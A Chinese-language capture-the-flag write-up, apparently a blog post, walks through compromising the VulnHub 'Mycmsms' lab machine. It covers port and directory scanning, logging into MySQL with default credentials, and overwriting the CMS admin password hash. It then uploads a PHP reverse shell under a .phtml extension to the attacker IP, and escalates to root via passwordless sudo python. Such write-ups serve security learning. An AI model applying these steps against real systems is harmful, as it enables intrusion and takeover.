vulnhub打靶记录——Mycmsms

文章目录

  • 一、环境布置
    • 主机发现
  • 二、端口扫描
    • nikto基本探测
    • 目录扫描
    • CMS EXP搜索
    • 探查mysql数据库
    • CMS代码审计
    • CMS后台
    • 权限提升

一、环境布置

靶机在virtualbox中搭建,攻击机使用vmware中安装的kali,主要是解决kali能ping通靶机,同时能访问外网。
解决方法;VirtualBox(Host only)和VMware共用同一虚拟网卡
需要注意的是靶机IP怎么获取?开启靶机后,靶机会自动显示ip地址。
在这里插入图片描述
192.168.56.1并不是靶机的ip地址,而是主机(本机,物理机)在该局域网下的IP地址,同时需要启用DHCP服务器来让kali再该封闭式局域网(only-host)中获取一个IP地址。
在这里插入图片描述
在该host模式的局域网下,主机(192.168.56.1)可以ping通靶机(192.168.56.103)和kali(192.168.56.101),但是kali(192.168.56.101)不能ping通主机(192.168.56.1)。
在这里插入图片描述

在这里插入图片描述
故所有设备IP(Only-host)如下:

  • 靶机IP:192.168.56.103
  • kaliIP:192.168.56.101

主机发现

也可以用nmap进行主机发现,主要是对only-host模式下的局域网进行主机发现,命令如下:

nmap -sP 192.168.56.0/24 # 对192.168.56网段进行扫描

在这里插入图片描述

  • 192.168.56.1:主机IP;
  • 192.168.56.100:DHCP服务器IP;
  • 192.168.56.101:Kali IP;
  • 192.168.56.103:靶机IP。

二、端口扫描

nmap -p- -sV -A 192.168.56.103

-p-:代表扫描所有端口,从1-65535,默认进行TCP扫描;
-sV:探测服务/版本信息;
-A:启动OS检测,版本检测,脚本扫描和traceroute。简单来说,输出更加详细的日志信息

在这里插入图片描述

没有-A参数的扫描结果,也就是命令nmap -p- -sV 192.168.56.103
在这里插入图片描述

整理出nmap扫描的重要信息,并保存到scan.txt
在这里插入图片描述

这里可以看到该靶机开放了ssh服务(22端口)、web服务(80端口)、mysql数据库服务(3306).

针对80端口的web渗透,通常:

  • 使用nikto进行基本的漏洞探测;
  • 目录扫描,发现更多网站路径。

nikto基本探测

使用nikto对web服务做基本的探测,命令如下:

	nikto -host http://192.168.56.103

扫描结果如下,nikto除了检测漏洞信息,也有进行目录扫描(如扫出./phpinfo.php、./config.php等)。

在这里插入图片描述

一般情况下,phpinfo.php是不会被看到的,在某些src平台泄露phpinfo甚至算低危漏洞。

目录扫描

目录扫描,命令如下:

	dirsearch -u http://192.168.56.103 -w ./directory-list-2.3-medium.txt -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

-w:爆破所用字典的位置,包含多个字典可用,分割,字典使用SeclLists
-e:站点文件类型列表,如php、js、html等。

扫描结果如下:在这里插入图片描述

发现用dirsearch默认的字典跑出来结果还多些,真是栓Q~
在这里插入图片描述

简单说一下http状态码的含义:

  • 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功
  • 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向
  • 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问

打开http://192.168.56.103/phpmyadmin,发现需要登录,这里可以尝试弱口令爆破,先不尝试,看看后面有啥
在这里插入图片描述
打开http://192.168.56.103/config.php发现空白,可以尝试用命令行访问是不是真的空白,命令如下:curl -i -L http://192.168.56.103/config.php

-i:打印出服务器回应的 HTTP 标头。
-L:会让 HTTP 请求跟随服务器的重定向。curl默认不会跟随重定向。

在这里插入图片描述
在这里插入图片描述
打开http://192.168.56.103/config.php尝试SQL注入,使用万能密码登录。发现不行,过滤符号😖😖😖
在这里插入图片描述
不过,这里可以发现该网站使用CMS搭建,CMS版本为CMS Made Simple😆😆😆
在这里插入图片描述

CMS EXP搜索

知道了CMS,就可以用searchsploit去找该CMS是否有漏洞,命令如下:

searchsploit cms made simple

searchsploit是一个用于Exploit-DB的命令行搜索工具,就是kali本地会有一个漏洞库,漏洞库里的数据来自Exploit-DB,searchsploit是漏洞搜索脚本。

在这里插入图片描述
目前CMS版本未知,只能挨个去尝试,重点关注RCE漏洞。这里尝试使用2.1.6 Remote Code Execution

searchsploit -m 44192.txt # exp复制到单独的文件夹

在这里插入图片描述
该exp需要访问/cms文件夹,网站都没这个目录,不太行,再尝试别的。网站这块搞不定了,只能到这儿了,换下别的思路😅😅😅

探查mysql数据库

当详细输出下面这类信息的时候,说明mysql允许远程连接mysql数据库
在这里插入图片描述
尝试弱口令和默认用户名密码来连接mysql数据库~,命令如下:

mysql -h 192.168.56.103 -uroot -p # 尝试空密码、root密码

用户名和密码都是root☺️☺️☺️

在这里插入图片描述
cms_users中发现了后台用户名、密码(经过MD5加密,32位),尝试暴力破解,发现不行😒😒😒。可以继续尝试更新admin用户的密码

在这里插入图片描述

echo -n 123456 | md5sum # 计算123456的MD5值

//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令 
  • echo -n:表示不换行输出,默认会将\n(换行符)送给下一个命令;
  • 管道符|A | B表示命令A的结果为命令B的输入。

在这里插入图片描述
回到http://192.168.56.103/config.php,使用更新后的密码进行登陆,发现登录不成功,G
在这里插入图片描述

登录不成功有以下几个原因:

  1. 使用的算法不是MD5;
  2. 对密码进行了特殊处理。

接下来,去找CMS Made Simple的源码,分析加密方法。cms源码下载
在这里插入图片描述

trunk文件夹包含代码主干信息。

CMS代码审计

要想知道cms是怎样对明文进行加密的,我们需要找到登录时候的代码,在这个cms中就是login.php。大概看下逻辑,如下图,如果登录取消就怎么怎么样,如果登录提交就怎么怎么,重点就是else if后面的代码,首先是判断post传参中的usernamepassword,如果存在就赋值给$username$password,认证代码肯定是调用的外部函数,再加上相关注释,验证代码应该在LoadUserByUsername中。
在这里插入图片描述
LoadUserByUsername中,当password != ''时,在password前面拼接了一段字符串,再进行md5加密。
在这里插入图片描述
找到get_site_preference()函数,发现是调用cms_siteprefs中的静态方法get来得到那串字符串。

cms_siteprefs::get中的::代表调用静态方法。

在这里插入图片描述
转到cms_siteprefsget方法,以当前类为参数去调用global::get,大概意思应该是在全局缓存中以当前类名为参数进行查询,$prefs[$key]不为空,就返回$prefs[$key],否则就返回空。
在这里插入图片描述
转到global::get,根据return的值,可以发现最终返回的是$_cache中的内容,而$_cache的值是来自于$_type。而$_type是通过函数add_cachable()来获得的。

在这里插入图片描述
cms_siteprefssetup方法中调用了global_cacheadd_cachable方法,大致意思就是变量$obj的值来源于静态方法readread方法是执行了SQL语句来获取相关内容并赋值给变量$_prefs。总的来说,我们需要的$prefs[$key]来源于这个SQL语句的结果
在这里插入图片描述
根据SQL语句,查询的表名应该是带有site_prefs字符串的表名,可以看到数据库中只有cms_siteptrefs这个表。

在这里插入图片描述

show create table cms_siteprefs; # 查看表的创建过程
desc cms_siteprefs; # 查看表的结构

在这里插入图片描述
我们需要的$prefs[$key]这个值,$prefs来源于cms_prefs这个表,而$key='sitemask',然后根据$_prefs[$row['sitepref_name']] = $row['sitepref_value'];,可以推测出sitemask应该归属于列名sitepref_name,故构造SQL语句:

select * from cms_siteprefs where sitepref_name='sitemask';

在这里插入图片描述
芜湖~,拼接上这个值再进行md5加密就可以更改管理员密码了

echo -n <> | md5sum # 计算123456的MD5值

//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令 

在这里插入图片描述
在这里插入图片描述
使用密码登录CMS后台~
在这里插入图片描述

CMS后台

渗透测试的目标是登录远程主机,并且获得root权限,目前只是获得了web服务的权限。在后台重点找文件上传点。文件上传的目的是上传一个恶意脚本,来拿下这台主机,来达到一个效果:我们在本地输入命令,终端会执行输入的命令(也就是将终端的conmand reverse 到本地)。那么上传什么样的脚本呢?该脚本的功能就是将终端的命令行能reverse到本地。找一个php reverse脚本:php-reverse-shell,可以使用git clone命令进行脚本下载。

:set number # vim中对每一行添加行号
# 更改ip和端口
$ip = '192.168.56.101';
$port = '4444';

在这里插入图片描述
在这个上传点进行文件上传,上传php-reverse-shell.php这个脚本,发现不成功。文件上传失败的原因有:可能限制后缀名。这里就需要使用一些绕过技巧~

在这里插入图片描述

在php开发中,纯php代码的文件后缀一般是.php,纯html代码的文件后缀一般为.html,php代码和html代码混合的文件后缀一般为.phtml

这里可以试着将原文件的后缀.php改为.phtml再上传,上传成功~
在这里插入图片描述
监听本地4444端口,浏览器执行上传的shell文件,反弹shell。

nc -nlvp 4444

-n:直接使用IP地址,而不通过域名服务器;
-l:llisten,监听模式;
-v:显示指令执行过程;
-p:port,端口。

在这里插入图片描述

权限提升

登录到主机后,做以下事情:
1、 到home目录下看有哪些用户有自己的目录,即,哪些用户能登录该主机;

ls -al; # l代表以列表的形式进行输出;a查看隐藏文件

在这里插入图片描述
这里只是发现binary.sh是一个具备SUID权限的程序,简单来说就是,所有用户均可执行具备SUID权限的程序,在执行过程中,执行者将拥有程序所有者的权限

2、搜索具备SUID权限的程序,命令如下:

find / -perm -u=s -type f 2>/dev/null

find语法:find [path] [expression]
-perm:按照文件权限来查找文件。
-type:按文件类型查找,可以是 f(普通文件)、d(目录)、l(符号链接)等。
2>/dev/null: 错误输出不显示在屏幕上

在这里插入图片描述

这里发现了这么多Set UID的文件,可以尝试sudo提权。(还不太理解,先看别人怎么做~)

cd /var/www/html/admin # 进入网站的admin文件夹下
ls -al # 查看该文件夹下的所有文件,发现一个带有password的隐藏文件

在这里插入图片描述

cat .htpasswd
echo '<值>' | base64 -d # 对值进行解码,-d就是解码,不要-d就是base64加密

在这里插入图片描述

看到字符串中含有大小写字母、=,可能是经过了base64编码。

这里获取到了armour用户的密码。当拿到一个用户名和密码登录到系统的时候,第一件事是看这个用户有没有sudo的权限!

su armour # 变更用户为armour
sudo -l # 查看当前用户的权限,主要就是看该用户在运行某个脚本时能不能以root用户去运行。
sudo -i # 使当前用户长时间拥有root用户权限

在这里插入图片描述
可以发现,当前armour用户当使用sudo执行python脚本时,会以root权限运行且无密码。那么可以使用python来获取root用户的shell。反弹Shell升级为交互式Shell、python

sudo python -c 'import os;os.system("/bin/bash")' # 获取普通shell
sudo python -c 'import pty; pty.spawn("/bin/bash")'  # 获取半交互式shell

# 获取交互式shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color

在这里插入图片描述
最后拿到flag,所有的flag都在/root/proof.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/476413.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SAP BW升级至2023版本后需要注意的点

SAP BW/4HANA 升级至最新版本后&#xff0c;最大的注意点就是原本的HANA studio开发工具打开某些模型或者DTP时会出现某些报错&#xff0c;如图所示&#xff1a; 看到这个提示的时候就需要去下载最新的版本了&#xff0c;我们去到SAP官网 SAP Development Tools 官网已经开始推…

Czkawka重复文件查找工具

分享一款重复文件查找工具&#xff0c;Czkawka是一款简单、快速且免费的用于查找重复项、空文件夹、相似图像等的多功能的应用程序。可以从计算机中删除不必要的文件。 软件特色&#xff1a; 用内存安全的 Rust 编写&#xff0c;惊人的快 – 由于使用了或多或少的高级算法和多线…

解决idea粘贴空格时显示NBSP的问题并且在Registry中找不到editor.show.special.chars

1、解决java 复制代码NBSP问题 参考文章 原因&#xff1a;2020.2版本以后无法找到以上的选项来解决问题&#xff1b;之后的版本这个选项换地方了 解决办法&#xff1a;在设置中找到Advanced Settings&#xff0c;把Render special characters前面的对勾取消掉就好了。

微软开源Garnet高性能缓存服务安装

Garnet介绍 Garnet是一款微软研究院基于C#开发而开源的高性能缓存服务&#xff0c;支持Windows、Linux多平台部署&#xff0c;Garnet兼容Redis服务API&#xff0c;在性能和使用架构上较Redis有很大提升&#xff08;官方说法&#xff09;&#xff0c;并提供与Redis一样的命令操…

2024格行VS华为VS飞猫哪个是最值得购买随身WiFi?中兴随身WiFi好用吗?

经常出差旅行&#xff0c;或者户外工作的朋友因为长期在外&#xff0c;手机流量经常不够用&#xff0c;想必都是随身WiFi的忠实用户&#xff0c;但是也都被这款产品割韭菜割的头皮发麻。今天&#xff0c;我们统计了市面上最靠谱的、最热销、口碑最好的几款随身WiFi。排名依据来…

【FLOOD FILL专题】【蓝桥杯备考训练】:扫雷、动态网格、走迷宫、画图、山峰和山谷【已更新完成】

目录 1、扫雷&#xff08;Google Kickstart2014 Round C Problem A&#xff09; 2、动态网格&#xff08;Google Kickstart2015 Round D Problem A&#xff09; 3、走迷宫&#xff08;模板&#xff09; 4、画图&#xff08;第六次CCF计算机软件能力认证&#xff09; 5、山…

mybatis-plus BaseMapper<T>不生效问题的解决方案

一、情景引入 MyBatis是一款优秀的持久层框架&#xff0c;用于简化JDBC开发。官网&#xff1a;http://mybatis.org/mybatis-3/zh/index.html mybatis-plus更是为我们集成实现了一些基本的CRUD方法&#xff0c;为我们省去了许多重复的工作。然而&#xff0c;很多时候一些不正确…

用python的pandas读取excel文件中的数据

一、读取Excel文件 使用pandas的read_excel()方法&#xff0c;可通过文件路径直接读取。注意到&#xff0c;在一个excel文件中有多个sheet&#xff0c;因此&#xff0c;对excel文件的读取实际上是读取指定文件、并同时指定sheet下的数据。可以一次读取一个sheet&#xff0c;也可…

Appium+python自动化怎么查看程序所占端口号和IP

简介 这篇博文和分类看似没有多大关系&#xff0c;但是也是从上一篇衍生出来的产物&#xff0c;因为涉及到 FQ工具 Lantern &#xff0c;就算是给关注和支持的小伙伴们拓展一下眼界和知识面。而且好多人都阅读了上一篇没发现那个参考博客点不开吗&#xff1f;那是因为还没来的…

泛微OA常用的接口或方法(不公开)

泛微OA常用的接口或方法 记录一些平时工作用到的方法或属性&#xff0c;不公开&#xff0c;防忘记。 文章目录 泛微OA常用的接口或方法1 获取当前操作者2 根据人员id获取人员卡片信息3 获取浏览按钮的文本值4 插入 js 发送 post 请求5 插入 js 配合建模、后端接口实现发送 post…

如何在 Odoo 17 中为自定义模块添加设置菜单

Odoo 是一款极具影响力的开源企业资源规划和业务管理软件&#xff0c;用户可利用自定义模块灵活定制和增强其功能。在定制模块开发中&#xff0c;一个重要的方面是纳入设置菜单&#xff0c;使用户能够根据自己的独特需求对多个选项进行微调。 本文将引导您逐步了解如何在 Odoo…

Android Launcher开发注意事项

在开发Android Launcher时&#xff0c;需要关注性能、用户体验、权限管理、兼容性等方面&#xff0c;同时遵循相关的开发者政策和最佳实践。有几个重要的注意事项&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎…

『Mysql』Mysql四种分区方式及组合分区落地实现

&#x1f4e3;读完这篇文章里你能收获到 Mysql分区的概念Mysql分区四种分区方式的落地及案例Mysql分区的管理 文章目录 一、概念篇 1 分区是什么2 Mysql中分区原理3 Mysql中分区局限二、落地篇 1 Range分区2 Hash分区3 Key分区4 List分区5 组合分区三、Mysql如何管理分区 1 删…

【LAMMPS学习】三、构建LAMMPS(5)可选的构建设置

3、构建LAMMPS 3.5.可选的构建设置 LAMMPS 可以通过多种可选设置来构建。每个小节都解释了如何使用 CMake 和 make 进行构建。 3.5.1. C11 标准合规性 编译 LAMMPS 需要 C11 标准兼容编译器。 LAMMPS 2020 年 3 月 3 版是核心代码和大多数软件包与之前的 C98 标准兼容的最…

巨细!Python爬虫详解

爬虫&#xff08;又称为网页蜘蛛&#xff0c;网络机器人&#xff0c;在 FOAF 社区中间&#xff0c;更经常的称为网页追逐者&#xff09;&#xff1b;它是一种按照一定的规则&#xff0c;自动地抓取网络信息的程序或者脚本。 如果我们把互联网比作一张大的蜘蛛网&#xff0c;那…

oracle设置主键自增步骤

设置主键自增步骤&#xff1a; 每一张表都要设置序列&#xff0c;然后设置触发器。比mysql繁琐。 一、设置序列 选中表后&#xff0c;—》 文件—》新建—》其他—》序列. 设置如下四个值即可。 crtls保存。 给序列起个名字&#xff0c;一定要全大写字母。 二、设置触发器…

摘录笔记——2024年3月20日

这位大佬介绍的技术PM方面心得&#xff0c;有一定的启发意义&#xff08;虽说我现在只是搬砖的&#xff0c;跟PM还有一定差距&#xff09;&#xff0c;现在摘录出来作为记录&#xff1a; 一文聊聊我理解的技术PM作为技术同学&#xff0c;不仅要写好自己的代码&#xff0c;做好…

Java毕业设计-基于springboot开发的Java时间管理系统-毕业论文+答辩PPT(附源代码+演示视频)

文章目录 前言一、毕设成果演示&#xff08;源代码在文末&#xff09;二、毕设摘要展示1、开发说明2、需求分析3、系统功能结构 三、系统实现展示1、管理员功能模块2、用户功能模块 四、毕设内容和源代码获取总结 Java毕业设计-基于springboot开发的Java时间管理系统-毕业论文答…

Halcon 路标牌识别

文章目录 gray_closing_shape 使用选定的掩码执行灰度值关闭create_planar_uncalib_deformable_model 为未校准的透视匹配创建一个可变形的模型get_deformable_model_params 返回可变形模型的参数find_planar_uncalib_deformable_model 在图像中寻找平面投影不变变形模型的最佳…

详细剖析多线程(更新中...)

文章目录 前言一、认识线程1.1线程概念1.2为什么要有线程1.3线程和进程的区别&#xff08;经典面试题&#xff09; 二、创建线程2.1继承 Thread 类,重写run2.2实现 Runnable 接口,重写run2.3继承 Thread 类,重写run&#xff0c;匿名内部类2.4实现 Runnable 接口,重写run&#x…